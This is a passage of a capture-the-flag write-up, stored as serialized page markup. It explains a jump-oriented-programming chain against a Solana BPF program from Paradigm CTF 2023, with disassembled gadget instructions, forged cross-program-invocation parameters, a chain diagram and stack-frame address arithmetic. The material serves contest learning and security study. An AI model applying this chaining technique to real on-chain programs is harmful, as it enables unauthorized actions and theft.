bf02000000000000",{"type":24,"tag":930,"props":47734,"children":47735},{"style":1023},[47736],{"type":30,"value":47506},{"type":24,"tag":930,"props":47738,"children":47739},{"style":1023},[47740],{"type":30,"value":47222},{"type":24,"tag":930,"props":47742,"children":47743},{"style":959},[47744],{"type":30,"value":962},{"type":24,"tag":930,"props":47746,"children":47747},{"style":1023},[47748],{"type":30,"value":47749},"r0\n",{"type":24,"tag":930,"props":47751,"children":47752},{"class":932,"line":1376},[47753,47758,47763,47767,47772,47776,47781,47785,47789,47794,47798,47802,47807,47812,47816,47820],{"type":24,"tag":930,"props":47754,"children":47755},{"style":1023},[47756],{"type":30,"value":47757},"100001c08",{"type":24,"tag":930,"props":47759,"children":47760},{"style":1242},[47761],{"type":30,"value":47762},"  8510000075000000",{"type":24,"tag":930,"props":47764,"children":47765},{"style":1023},[47766],{"type":30,"value":47428},{"type":24,"tag":930,"props":47768,"children":47769},{"style":943},[47770],{"type":30,"value":47771}," _ZN94_",{"type":24,"tag":930,"props":47773,"children":47774},{"style":1158},[47775],{"type":30,"value":13396},{"type":24,"tag":930,"props":47777,"children":47778},{"style":943},[47779],{"type":30,"value":47780},"LT",{"type":24,"tag":930,"props":47782,"children":47783},{"style":1158},[47784],{"type":30,"value":13396},{"type":24,"tag":930,"props":47786,"children":47787},{"style":1023},[47788],{"type":30,"value":16760},{"type":24,"tag":930,"props":47790,"children":47791},{"style":1158},[47792],{"type":30,"value":47793},"...$",{"type":24,"tag":930,"props":47795,"children":47796},{"style":1023},[47797],{"type":30,"value":11152},{"type":24,"tag":930,"props":47799,"children":47800},{"style":1158},[47801],{"type":30,"value":13396},{"type":24,"tag":930,"props":47803,"children":47804},{"style":943},[47805],{"type":30,"value":47806},"GT",{"type":24,"tag":930,"props":47808,"children":47809},{"style":1158},[47810],{"type":30,"value":47811},"$$",{"type":24,"tag":930,"props":47813,"children":47814},{"style":943},[47815],{"type":30,"value":47806},{"type":24,"tag":930,"props":47817,"children":47818},{"style":1158},[47819],{"type":30,"value":13396},{"type":24,"tag":930,"props":47821,"children":47822},{"style":959},[47823],{"type":30,"value":47824},"4from17ha0d289b72861b06dE\n",{"type":24,"tag":930,"props":47826,"children":47827},{"class":932,"line":1418},[47828],{"type":24,"tag":930,"props":47829,"children":47830},{"emptyLinePlaceholder":16},[47831],{"type":30,"value":2412},{"type":24,"tag":930,"props":47833,"children":47834},{"class":932,"line":1438},[47835,47840,47845,47849,47853,47857,47861,47865,47870,47874,47879],{"type":24,"tag":930,"props":47836,"children":47837},{"style":1023},[47838],{"type":30,"value":47839},"100001c10",{"type":24,"tag":930,"props":47841,"children":47842},{"style":1023},[47843],{"type":30,"value":47844},"  79a2b8ff00000000",{"type":24,"tag":930,"props":47846,"children":47847},{"style":1023},[47848],{"type":30,"value":47217},{"type":24,"tag":930,"props":47850,"children":47851},{"style":1023},[47852],{"type":30,"value":47222},{"type":24,"tag":930,"props":47854,"children":47855},{"style":959},[47856],{"type":30,"value":47227},{"type":24,"tag":930,"props":47858,"children":47859},{"style":1023},[47860],{"type":30,"value":47232},{"type":24,"tag":930,"props":47862,"children":47863},{"style":1158},[47864],{"type":30,"value":1215},{"type":24,"tag":930,"props":47866,"children":47867},{"style":1242},[47868],{"type":30,"value":47869},"72",{"type":24,"tag":930,"props":47871,"children":47872},{"style":959},[47873],{"type":30,"value":47246},{"type":24,"tag":930,"props":47875,"children":47876},{"style":1023},[47877],{"type":30,"value":47878},"var_48",{"type":24,"tag":930,"props":47880,"children":47881},{"style":959},[47882],{"type":30,"value":2528},{"type":24,"tag":930,"props":47884,"children":47885},{"class":932,"line":1479},[47886,47891,47896,47901,47905,47909,47913,47917,47921,47925],{"type":24,"tag":930,"props":47887,"children":47888},{"style":1023},[47889],{"type":30,"value":47890},"100001c18",{"type":24,"tag":930,"props":47892,"children":47893},{"style":1242},[47894],{"type":30,"value":47895},"  1502040000000000",{"type":24,"tag":930,"props":47897,"children":47898},{"style":1023},[47899],{"type":30,"value":47900},"   jeq",{"type":24,"tag":930,"props":47902,"children":47903},{"style":959},[47904],{"type":30,"value":11828},{"type":24,"tag":930,"props":47906,"children":47907},{"style":1158},[47908],{"type":30,"value":1400},{"type":24,"tag":930,"props":47910,"children":47911},{"style":1242},[47912],{"type":30,"value":20630},{"type":24,"tag":930,"props":47914,"children":47915},{"style":959},[47916],{"type":30,"value":8933},{"type":24,"tag":930,"props":47918,"children":47919},{"style":1023},[47920],{"type":30,"value":47598},{"type":24,"tag":930,"props":47922,"children":47923},{"style":959},[47924],{"type":30,"value":962},{"type":24,"tag":930,"props":47926,"children":47927},{"style":1242},[47928],{"type":30,"value":47481},{"type":24,"tag":930,"props":47930,"children":47931},{"class":932,"line":1506},[47932],{"type":24,"tag":930,"props":47933,"children":47934},{"emptyLinePlaceholder":16},[47935],{"type":30,"value":2412},{"type":24,"tag":930,"props":47937,"children":47938},{"class":932,"line":1525},[47939,47944,47949,47954,47958,47962],{"type":24,"tag":930,"props":47940,"children":47941},{"style":1023},[47942],{"type":30,"value":47943},"100001c20",{"type":24,"tag":930,"props":47945,"children":47946},{"style":1242},[47947],{"type":30,"value":47948},"  2702000022000000",{"type":24,"tag":930,"props":47950,"children":47951},{"style":1023},[47952],{"type":30,"value":47953},"   mul",{"type":24,"tag":930,"props":47955,"children":47956},{"style":1023},[47957],{"type":30,"value":47222},{"type":24,"tag":930,"props":47959,"children":47960},{"style":959},[47961],{"type":30,"value":962},{"type":24,"tag":930,"props":47963,"children":47964},{"style":1242},[47965],{"type":30,"value":47966},"0x22\n",{"type":24,"tag":930,"props":47968,"children":47969},{"class":932,"line":1569},[47970,47975,47980,47984,47988,47992,47996,48000,48005,48009,48014],{"type":24,"tag":930,"props":47971,"children":47972},{"style":1023},[47973],{"type":30,"value":47974},"100001c28",{"type":24,"tag":930,"props":47976,"children":47977},{"style":1023},[47978],{"type":30,"value":47979},"  79a1b0ff00000000",{"type":24,"tag":930,"props":47981,"children":47982},{"style":1023},[47983],{"type":30,"value":47217},{"type":24,"tag":930,"props":47985,"children":47986},{"style":1023},[47987],{"type":30,"value":47511},{"type":24,"tag":930,"props":47989,"children":47990},{"style":959},[47991],{"type":30,"value":47227},{"type":24,"tag":930,"props":47993,"children":47994},{"style":1023},[47995],{"type":30,"value":47232},{"type":24,"tag":930,"props":47997,"children":47998},{"style":1158},[47999],{"type":30,"value":1215},{"type":24,"tag":930,"props":48001,"children":48002},{"style":1242},[48003],{"type":30,"value":48004},"80",{"type":24,"tag":930,"props":48006,"children":48007},{"style":959},[48008],{"type":30,"value":47246},{"type":24,"tag":930,"props":48010,"children":48011},{"style":1023},[48012],{"type":30,"value":48013},"var_50",{"type":24,"tag":930,"props":48015,"children":48016},{"style":959},[48017],{"type":30,"value":2528},{"type":24,"tag":930,"props":48019,"children":48020},{"class":932,"line":1592},[48021,48026,48031,48035,48039,48043],{"type":24,"tag":930,"props":48022,"children":48023},{"style":1023},[48024],{"type":30,"value":48025},"100001c30",{"type":24,"tag":930,"props":48027,"children":48028},{"style":1023},[48029],{"type":30,"value":48030},"  b703000001000000",{"type":24,"tag":930,"props":48032,"children":48033},{"style":1023},[48034],{"type":30,"value":47506},{"type":24,"tag":930,"props":48036,"children":48037},{"style":1023},[48038],{"type":30,"value":47277},{"type":24,"tag":930,"props":48040,"children":48041},{"style":959},[48042],{"type":30,"value":962},{"type":24,"tag":930,"props":48044,"children":48045},{"style":1242},[48046],{"type":30,"value":48047},"0x1\n",{"type":24,"tag":930,"props":48049,"children":48050},{"class":932,"line":1610},[48051,48056,48061,48065],{"type":24,"tag":930,"props":48052,"children":48053},{"style":1023},[48054],{"type":30,"value":48055},"100001c38",{"type":24,"tag":930,"props":48057,"children":48058},{"style":1023},[48059],{"type":30,"value":48060},"  8510000003feffff",{"type":24,"tag":930,"props":48062,"children":48063},{"style":1023},[48064],{"type":30,"value":47428},{"type":24,"tag":930,"props":48066,"children":48067},{"style":1023},[48068],{"type":30,"value":48069}," __rust_dealloc\n",{"type":24,"tag":930,"props":48071,"children":48072},{"class":932,"line":1628},[48073],{"type":24,"tag":930,"props":48074,"children":48075},{"emptyLinePlaceholder":16},[48076],{"type":30,"value":2412},{"type":24,"tag":930,"props":48078,"children":48079},{"class":932,"line":1637},[48080,48085,48090,48094,48098,48102,48106,48110,48115,48119,48124],{"type":24,"tag":930,"props":48081,"children":48082},{"style":1023},[48083],{"type":30,"value":48084},"100001c40",{"type":24,"tag":930,"props":48086,"children":48087},{"style":1023},[48088],{"type":30,"value":48089},"  79a2d0ff00000000",{"type":24,"tag":930,"props":48091,"children":48092},{"style":1023},[48093],{"type":30,"value":47217},{"type":24,"tag":930,"props":48095,"children":48096},{"style":1023},[48097],{"type":30,"value":47222},{"type":24,"tag":930,"props":48099,"children":48100},{"style":959},[48101],{"type":30,"value":47227},{"type":24,"tag":930,"props":48103,"children":48104},{"style":1023},[48105],{"type":30,"value":47232},{"type":24,"tag":930,"props":48107,"children":48108},{"style":1158},[48109],{"type":30,"value":1215},{"type":24,"tag":930,"props":48111,"children":48112},{"style":1242},[48113],{"type":30,"value":48114},"48",{"type":24,"tag":930,"props":48116,"children":48117},{"style":959},[48118],{"type":30,"value":47246},{"type":24,"tag":930,"props":48120,"children":48121},{"style":1023},[48122],{"type":30,"value":48123},"var_30",{"type":24,"tag":930,"props":48125,"children":48126},{"style":959},[48127],{"type":30,"value":2528},{"type":24,"tag":930,"props":48129,"children":48130},{"class":932,"line":1646},[48131,48136,48141,48145,48149,48153,48157,48161,48165,48169],{"type":24,"tag":930,"props":48132,"children":48133},{"style":1023},[48134],{"type":30,"value":48135},"100001c48",{"type":24,"tag":930,"props":48137,"children":48138},{"style":1242},[48139],{"type":30,"value":48140},"  1502030000000000",{"type":24,"tag":930,"props":48142,"children":48143},{"style":1023},[48144],{"type":30,"value":47900},{"type":24,"tag":930,"props":48146,"children":48147},{"style":959},[48148],{"type":30,"value":11828},{"type":24,"tag":930,"props":48150,"children":48151},{"style":1158},[48152],{"type":30,"value":1400},{"type":24,"tag":930,"props":48154,"children":48155},{"style":1242},[48156],{"type":30,"value":20397},{"type":24,"tag":930,"props":48158,"children":48159},{"style":959},[48160],{"type":30,"value":8933},{"type":24,"tag":930,"props":48162,"children":48163},{"style":1023},[48164],{"type":30,"value":47598},{"type":24,"tag":930,"props":48166,"children":48167},{"style":959},[48168],{"type":30,"value":962},{"type":24,"tag":930,"props":48170,"children":48171},{"style":1242},[48172],{"type":30,"value":47481},{"type":24,"tag":930,"props":48174,"children":48175},{"class":932,"line":1673},[48176],{"type":24,"tag":930,"props":48177,"children":48178},{"emptyLinePlaceholder":16},[48179],{"type":30,"value":2412},{"type":24,"tag":930,"props":48181,"children":48182},{"class":932,"line":1692},[48183,48188,48193,48197,48201,48205,48209,48213,48218,48222,48227],{"type":24,"tag":930,"props":48184,"children":48185},{"style":1023},[48186],{"type":30,"value":48187},"100001c50",{"type":24,"tag":930,"props":48189,"children":48190},{"style":1023},[48191],{"type":30,"value":48192},"  79a1c8ff00000000",{"type":24,"tag":930,"props":48194,"children":48195},{"style":1023},[48196],{"type":30,"value":47217},{"type":24,"tag":930,"props":48198,"children":48199},{"style":1023},[48200],{"type":30,"value":47511},{"type":24,"tag":930,"props":48202,"children":48203},{"style":959},[48204],{"type":30,"value":47227},{"type":24,"tag":930,"props":48206,"children":48207},{"style":1023},[48208],{"type":30,"value":47232},{"type":24,"tag":930,"props":48210,"children":48211},{"style":1158},[48212],{"type":30,"value":1215},{"type":24,"tag":930,"props":48214,"children":48215},{"style":1242},[48216],{"type":30,"value":48217},"56",{"type":24,"tag":930,"props":48219,"children":48220},{"style":959},[48221],{"type":30,"value":47246},{"type":24,"tag":930,"props":48223,"children":48224},{"style":1023},[48225],{"type":30,"value":48226},"var_38",{"type":24,"tag":930,"props":48228,"children":48229},{"style":959},[48230],{"type":30,"value":2528},{"type":24,"tag":930,"props":48232,"children":48233},{"class":932,"line":1730},[48234,48239,48243,48247,48251,48255],{"type":24,"tag":930,"props":48235,"children":48236},{"style":1023},[48237],{"type":30,"value":48238},"100001c58",{"type":24,"tag":930,"props":48240,"children":48241},{"style":1023},[48242],{"type":30,"value":48030},{"type":24,"tag":930,"props":48244,"children":48245},{"style":1023},[48246],{"type":30,"value":47506},{"type":24,"tag":930,"props":48248,"children":48249},{"style":1023},[48250],{"type":30,"value":47277},{"type":24,"tag":930,"props":48252,"children":48253},{"style":959},[48254],{"type":30,"value":962},{"type":24,"tag":930,"props":48256,"children":48257},{"style":1242},[48258],{"type":30,"value":48047},{"type":24,"tag":930,"props":48260,"children":48261},{"class":932,"line":1762},[48262,48267,48272,48276],{"type":24,"tag":930,"props":48263,"children":48264},{"style":1023},[48265],{"type":30,"value":48266},"100001c60",{"type":24,"tag":930,"props":48268,"children":48269},{"style":1023},[48270],{"type":30,"value":48271},"  85100000fefdffff",{"type":24,"tag":930,"props":48273,"children":48274},{"style":1023},[48275],{"type":30,"value":47428},{"type":24,"tag":930,"props":48277,"children":48278},{"style":1023},[48279],{"type":30,"value":48069},{"type":24,"tag":930,"props":48281,"children":48282},{"class":932,"line":1775},[48283],{"type":24,"tag":930,"props":48284,"children":48285},{"emptyLinePlaceholder":16},[48286],{"type":30,"value":2412},{"type":24,"tag":930,"props":48288,"children":48289},{"class":932,"line":1825},[48290,48295,48300,48305,48310,48315],{"type":24,"tag":930,"props":48291,"children":48292},{"style":1023},[48293],{"type":30,"value":48294},"100001c68",{"type":24,"tag":930,"props":48296,"children":48297},{"style":1242},[48298],{"type":30,"value":48299},"  9500000000000000",{"type":24,"tag":930,"props":48301,"children":48302},{"style":1023},[48303],{"type":30,"value":48304},"   exit",{"type":24,"tag":930,"props":48306,"children":48307},{"style":959},[48308],{"type":30,"value":48309}," {",{"type":24,"tag":930,"props":48311,"children":48312},{"style":1023},[48313],{"type":30,"value":48314},"__return_addr",{"type":24,"tag":930,"props":48316,"children":48317},{"style":959},[48318],{"type":30,"value":2528},{"type":24,"tag":33,"props":48320,"children":48321},{},[48322,48324,48330],{"type":30,"value":48323},"Which, assuming that ",{"type":24,"tag":156,"props":48325,"children":48327},{"className":48326},[],[48328],{"type":30,"value":48329},"sol_invoke_signed_rust",{"type":30,"value":48331}," returns 0, is doing the following:",{"type":24,"tag":478,"props":48333,"children":48334},{},[48335,48344,48353],{"type":24,"tag":100,"props":48336,"children":48337},{},[48338],{"type":24,"tag":156,"props":48339,"children":48341},{"className":48340},[],[48342],{"type":30,"value":48343},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":24,"tag":100,"props":48345,"children":48346},{},[48347],{"type":24,"tag":156,"props":48348,"children":48350},{"className":48349},[],[48351],{"type":30,"value":48352},"*[r10-120] = 0x18",{"type":24,"tag":100,"props":48354,"children":48355},{},[48356,48358,48364,48366,48373],{"type":30,"value":48357},"Calls ",{"type":24,"tag":156,"props":48359,"children":48361},{"className":48360},[],[48362],{"type":30,"value":48363},"__rust_dealloc",{"type":30,"value":48365},", which in default circumstances is a ",{"type":24,"tag":37,"props":48367,"children":48370},{"href":48368,"rel":48369},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[41],[48371],{"type":30,"value":48372},"NOP",{"type":30,"value":436},{"type":24,"tag":33,"props":48375,"children":48376},{},[48377],{"type":30,"value":48378},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":24,"tag":33,"props":48380,"children":48381},{},[48382],{"type":30,"value":48383},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":24,"tag":33,"props":48385,"children":48386},{},[48387,48388,48395],{"type":30,"value":2613},{"type":24,"tag":37,"props":48389,"children":48392},{"href":48390,"rel":48391},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[41],[48393],{"type":30,"value":48394},"definition",{"type":30,"value":48396},", it's not crystal clear what the parameters are:",{"type":24,"tag":920,"props":48398,"children":48400},{"className":6102,"code":48399,"language":6101,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[48401],{"type":24,"tag":156,"props":48402,"children":48403},{"__ignoreMap":7},[48404],{"type":24,"tag":930,"props":48405,"children":48406},{"class":932,"line":933},[48407,48411,48416,48420,48425,48429,48433,48437,48441,48445,48450,48454,48458,48462,48466,48470,48475,48479,48483,48487,48492,48496,48500,48504,48508,48512,48517,48521,48525,48529,48533],{"type":24,"tag":930,"props":48408,"children":48409},{"style":937},[48410],{"type":30,"value":23370},{"type":24,"tag":930,"props":48412,"children":48413},{"style":1002},[48414],{"type":30,"value":48415}," sol_invoke_signed_rust",{"type":24,"tag":930,"props":48417,"children":48418},{"style":959},[48419],{"type":30,"value":1010},{"type":24,"tag":930,"props":48421,"children":48422},{"style":1023},[48423],{"type":30,"value":48424},"instruction_addr",{"type":24,"tag":930,"props":48426,"children":48427},{"style":1158},[48428],{"type":30,"value":476},{"type":24,"tag":930,"props":48430,"children":48431},{"style":1158},[48432],{"type":30,"value":12924},{"type":24,"tag":930,"props":48434,"children":48435},{"style":937},[48436],{"type":30,"value":12762},{"type":24,"tag":930,"props":48438,"children":48439},{"style":943},[48440],{"type":30,"value":17740},{"type":24,"tag":930,"props":48442,"children":48443},{"style":959},[48444],{"type":30,"value":962},{"type":24,"tag":930,"props":48446,"children":48447},{"style":1023},[48448],{"type":30,"value":48449},"account_infos_addr",{"type":24,"tag":930,"props":48451,"children":48452},{"style":1158},[48453],{"type":30,"value":476},{"type":24,"tag":930,"props":48455,"children":48456},{"style":1158},[48457],{"type":30,"value":12924},{"type":24,"tag":930,"props":48459,"children":48460},{"style":937},[48461],{"type":30,"value":12762},{"type":24,"tag":930,"props":48463,"children":48464},{"style":943},[48465],{"type":30,"value":17740},{"type":24,"tag":930,"props":48467,"children":48468},{"style":959},[48469],{"type":30,"value":962},{"type":24,"tag":930,"props":48471,"children":48472},{"style":1023},[48473],{"type":30,"value":48474},"account_infos_len",{"type":24,"tag":930,"props":48476,"children":48477},{"style":1158},[48478],{"type":30,"value":476},{"type":24,"tag":930,"props":48480,"children":48481},{"style":943},[48482],{"type":30,"value":8972},{"type":24,"tag":930,"props":48484,"children":48485},{"style":959},[48486],{"type":30,"value":962},{"type":24,"tag":930,"props":48488,"children":48489},{"style":1023},[48490],{"type":30,"value":48491},"signers_seeds_addr",{"type":24,"tag":930,"props":48493,"children":48494},{"style":1158},[48495],{"type":30,"value":476},{"type":24,"tag":930,"props":48497,"children":48498},{"style":1158},[48499],{"type":30,"value":12924},{"type":24,"tag":930,"props":48501,"children":48502},{"style":937},[48503],{"type":30,"value":12762},{"type":24,"tag":930,"props":48505,"children":48506},{"style":943},[48507],{"type":30,"value":17740},{"type":24,"tag":930,"props":48509,"children":48510},{"style":959},[48511],{"type":30,"value":962},{"type":24,"tag":930,"props":48513,"children":48514},{"style":1023},[48515],{"type":30,"value":48516},"signers_seeds_len",{"type":24,"tag":930,"props":48518,"children":48519},{"style":1158},[48520],{"type":30,"value":476},{"type":24,"tag":930,"props":48522,"children":48523},{"style":943},[48524],{"type":30,"value":8972},{"type":24,"tag":930,"props":48526,"children":48527},{"style":959},[48528],{"type":30,"value":5579},{"type":24,"tag":930,"props":48530,"children":48531},{"style":1158},[48532],{"type":30,"value":16864},{"type":24,"tag":930,"props":48534,"children":48535},{"style":943},[48536],{"type":30,"value":16304},{"type":24,"tag":33,"props":48538,"children":48539},{},[48540,48542,48547,48549,48556],{"type":30,"value":48541},"The source of ",{"type":24,"tag":37,"props":48543,"children":48545},{"href":48544},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[48546],{"type":30,"value":47158},{"type":30,"value":48548}," helps a lot, but looking at the actual ",{"type":24,"tag":37,"props":48550,"children":48553},{"href":48551,"rel":48552},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[41],[48554],{"type":30,"value":48555},"implementation",{"type":30,"value":48557}," provides more clarity:",{"type":24,"tag":96,"props":48559,"children":48560},{},[48561],{"type":24,"tag":100,"props":48562,"children":48563},{},[48564,48569,48571,48578],{"type":24,"tag":156,"props":48565,"children":48567},{"className":48566},[],[48568],{"type":30,"value":48424},{"type":30,"value":48570}," points to a ",{"type":24,"tag":37,"props":48572,"children":48575},{"href":48573,"rel":48574},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[41],[48576],{"type":30,"value":48577},"StableInstruction",{"type":30,"value":476},{"type":24,"tag":33,"props":48580,"children":48581},{},[48582],{"type":24,"tag":140,"props":48583,"children":48585},{"alt":48577,"src":48584},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":24,"tag":96,"props":48587,"children":48588},{},[48589,48614],{"type":24,"tag":100,"props":48590,"children":48591},{},[48592,48597,48599,48604,48606,48613],{"type":24,"tag":156,"props":48593,"children":48595},{"className":48594},[],[48596],{"type":30,"value":48449},{"type":30,"value":48598}," points to a slice of ",{"type":24,"tag":156,"props":48600,"children":48602},{"className":48601},[],[48603],{"type":30,"value":48474},{"type":30,"value":48605},"  ",{"type":24,"tag":37,"props":48607,"children":48610},{"href":48608,"rel":48609},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[41],[48611],{"type":30,"value":48612},"AccountInfos",{"type":30,"value":436},{"type":24,"tag":100,"props":48615,"children":48616},{},[48617,48622,48624,48629,48631,48636],{"type":24,"tag":156,"props":48618,"children":48620},{"className":48619},[],[48621],{"type":30,"value":48491},{"type":30,"value":48623}," is a bit trickier, it points to a slice of length ",{"type":24,"tag":156,"props":48625,"children":48627},{"className":48626},[],[48628],{"type":30,"value":48516},{"type":30,"value":48630},", containing slices of ",{"type":24,"tag":156,"props":48632,"children":48634},{"className":48633},[],[48635],{"type":30,"value":6538},{"type":30,"value":436},{"type":24,"tag":33,"props":48638,"children":48639},{},[48640],{"type":24,"tag":140,"props":48641,"children":48644},{"alt":48642,"src":48643},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":24,"tag":33,"props":48646,"children":48647},{},[48648,48650,48655],{"type":30,"value":48649},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":24,"tag":6032,"props":48651,"children":48652},{},[48653],{"type":30,"value":48654},"future call frames",{"type":30,"value":436},{"type":24,"tag":33,"props":48657,"children":48658},{},[48659,48661,48668],{"type":30,"value":48660},"Now that we have all the parts, all we need is to string it together. The full ",{"type":24,"tag":37,"props":48662,"children":48665},{"href":48663,"rel":48664},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[41],[48666],{"type":30,"value":48667},"reference solution can be found here",{"type":30,"value":436},{"type":24,"tag":33,"props":48670,"children":48671},{},[48672],{"type":30,"value":48673},"Here's a visualization of the final JOP chain.",{"type":24,"tag":920,"props":48675,"children":48677},{"className":47040,"code":48676,"language":47042,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[48678],{"type":24,"tag":156,"props":48679,"children":48680},{"__ignoreMap":7},[48681,48689,48696,48703,48711,48718,48726,48734,48742,48750,48758,48766,48774,48782,48790],{"type":24,"tag":930,"props":48682,"children":48683},{"class":932,"line":933},[48684],{"type":24,"tag":930,"props":48685,"children":48686},{},[48687],{"type":30,"value":48688},"graph BT\n",{"type":24,"tag":930,"props":48690,"children":48691},{"class":932,"line":984},[48692],{"type":24,"tag":930,"props":48693,"children":48694},{},[48695],{"type":30,"value":47062},{"type":24,"tag":930,"props":48697,"children":48698},{"class":932,"line":993},[48699],{"type":24,"tag":930,"props":48700,"children":48701},{},[48702],{"type":30,"value":47070},{"type":24,"tag":930,"props":48704,"children":48705},{"class":932,"line":1057},[48706],{"type":24,"tag":930,"props":48707,"children":48708},{},[48709],{"type":30,"value":48710},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":24,"tag":930,"props":48712,"children":48713},{"class":932,"line":1066},[48714],{"type":24,"tag":930,"props":48715,"children":48716},{},[48717],{"type":30,"value":47086},{"type":24,"tag":930,"props":48719,"children":48720},{"class":932,"line":1075},[48721],{"type":24,"tag":930,"props":48722,"children":48723},{},[48724],{"type":30,"value":48725},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":24,"tag":930,"props":48727,"children":48728},{"class":932,"line":1122},[48729],{"type":24,"tag":930,"props":48730,"children":48731},{},[48732],{"type":30,"value":48733},"    E --> G[4: process]\n",{"type":24,"tag":930,"props":48735,"children":48736},{"class":932,"line":1131},[48737],{"type":24,"tag":930,"props":48738,"children":48739},{},[48740],{"type":30,"value":48741},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":24,"tag":930,"props":48743,"children":48744},{"class":932,"line":1144},[48745],{"type":24,"tag":930,"props":48746,"children":48747},{},[48748],{"type":30,"value":48749},"    G --> I[5: process]\n",{"type":24,"tag":930,"props":48751,"children":48752},{"class":932,"line":1169},[48753],{"type":24,"tag":930,"props":48754,"children":48755},{},[48756],{"type":30,"value":48757},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":24,"tag":930,"props":48759,"children":48760},{"class":932,"line":1191},[48761],{"type":24,"tag":930,"props":48762,"children":48763},{},[48764],{"type":30,"value":48765},"    I --> K[6: process]\n",{"type":24,"tag":930,"props":48767,"children":48768},{"class":932,"line":1223},[48769],{"type":24,"tag":930,"props":48770,"children":48771},{},[48772],{"type":30,"value":48773},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":24,"tag":930,"props":48775,"children":48776},{"class":932,"line":1281},[48777],{"type":24,"tag":930,"props":48778,"children":48779},{},[48780],{"type":30,"value":48781},"    K --> N[7: process]\n",{"type":24,"tag":930,"props":48783,"children":48784},{"class":932,"line":1313},[48785],{"type":24,"tag":930,"props":48786,"children":48787},{},[48788],{"type":30,"value":48789},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":24,"tag":930,"props":48791,"children":48792},{"class":932,"line":1335},[48793],{"type":24,"tag":930,"props":48794,"children":48795},{},[48796],{"type":30,"value":48797},"    N --> O[8: Write 0x4337 to the account]\n",{"type":24,"tag":33,"props":48799,"children":48800},{},[48801,48803,48809],{"type":30,"value":48802},"Small note: ",{"type":24,"tag":156,"props":48804,"children":48806},{"className":48805},[],[48807],{"type":30,"value":48808},"target_r10",{"type":30,"value":48810}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":24,"tag":920,"props":48812,"children":48814},{"className":6102,"code":48813,"language":6101,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[48815],{"type":24,"tag":156,"props":48816,"children":48817},{"__ignoreMap":7},[48818,48863,48898,48905],{"type":24,"tag":930,"props":48819,"children":48820},{"class":932,"line":933},[48821,48825,48830,48834,48839,48843,48847,48851,48855,48859],{"type":24,"tag":930,"props":48822,"children":48823},{"style":937},[48824],{"type":30,"value":23370},{"type":24,"tag":930,"props":48826,"children":48827},{"style":1002},[48828],{"type":30,"value":48829}," call_frame_addr",{"type":24,"tag":930,"props":48831,"children":48832},{"style":959},[48833],{"type":30,"value":1010},{"type":24,"tag":930,"props":48835,"children":48836},{"style":1023},[48837],{"type":30,"value":48838},"depth",{"type":24,"tag":930,"props":48840,"children":48841},{"style":1158},[48842],{"type":30,"value":476},{"type":24,"tag":930,"props":48844,"children":48845},{"style":943},[48846],{"type":30,"value":8972},{"type":24,"tag":930,"props":48848,"children":48849},{"style":959},[48850],{"type":30,"value":5579},{"type":24,"tag":930,"props":48852,"children":48853},{"style":1158},[48854],{"type":30,"value":16864},{"type":24,"tag":930,"props":48856,"children":48857},{"style":943},[48858],{"type":30,"value":8972},{"type":24,"tag":930,"props":48860,"children":48861},{"style":959},[48862],{"type":30,"value":981},{"type":24,"tag":930,"props":48864,"children":48865},{"class":932,"line":984},[48866,48871,48875,48880,48884,48889,48893],{"type":24,"tag":930,"props":48867,"children":48868},{"style":1242},[48869],{"type":30,"value":48870},"    0x200000000",{"type":24,"tag":930,"props":48872,"children":48873},{"style":1158},[48874],{"type":30,"value":12014},{"type":24,"tag":930,"props":48876,"children":48877},{"style":1242},[48878],{"type":30,"value":48879}," 0x2000",{"type":24,"tag":930,"props":48881,"children":48882},{"style":1158},[48883],{"type":30,"value":12924},{"type":24,"tag":930,"props":48885,"children":48886},{"style":1023},[48887],{"type":30,"value":48888}," depth",{"type":24,"tag":930,"props":48890,"children":48891},{"style":1158},[48892],{"type":30,"value":12014},{"type":24,"tag":930,"props":48894,"children":48895},{"style":1242},[48896],{"type":30,"value":48897}," 